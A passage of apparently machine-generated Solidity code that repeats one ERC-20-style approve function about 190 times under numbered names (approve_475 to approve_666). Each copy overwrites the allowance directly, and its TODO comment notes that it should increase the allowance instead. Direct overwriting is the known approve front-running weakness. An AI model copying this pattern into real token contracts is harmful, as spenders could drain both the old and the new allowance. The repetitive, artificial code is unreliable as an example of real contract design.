function approve_475(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_476(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_477(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_478(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_479(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_480(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_481(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_482(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_483(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_484(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_485(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_486(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_487(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_488(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_489(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_490(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_491(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_492(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_493(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_494(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_495(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_496(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_497(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_498(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_499(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_500(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_501(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_502(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_503(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_504(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_505(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_506(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_507(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_508(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_509(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_510(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_511(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_512(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_513(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_514(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_515(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_516(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_517(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_518(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_519(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_520(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_521(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_522(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_523(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_524(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_525(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_526(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_527(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_528(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_529(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_530(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_531(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_532(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_533(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_534(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_535(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_536(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_537(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_538(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_539(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_540(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_541(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_542(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_543(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_544(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_545(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_546(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_547(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_548(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_549(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_550(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_551(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_552(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_553(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_554(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_555(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_556(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_557(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_558(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_559(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_560(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_561(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_562(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_563(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_564(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_565(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_566(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_567(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_568(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_569(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_570(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_571(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_572(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_573(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_574(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_575(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_576(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_577(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_578(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_579(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_580(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_581(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_582(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_583(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_584(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_585(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_586(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_587(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_588(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_589(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_590(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_591(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_592(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_593(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_594(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_595(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_596(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_597(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_598(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_599(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_600(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_601(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_602(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_603(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_604(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_605(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_606(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_607(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_608(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_609(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_610(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_611(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_612(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_613(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_614(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_615(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_616(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_617(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_618(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_619(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_620(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_621(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_622(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_623(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_624(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_625(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_626(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_627(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_628(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_629(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_630(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_631(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_632(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_633(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_634(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_635(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_636(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_637(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_638(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_639(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_640(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_641(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_642(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_643(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_644(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_645(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_646(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_647(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_648(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_649(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_650(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_651(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_652(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_653(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_654(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_655(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_656(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_657(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_658(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_659(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_660(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_661(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_662(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_663(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_664(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_665(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_666(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
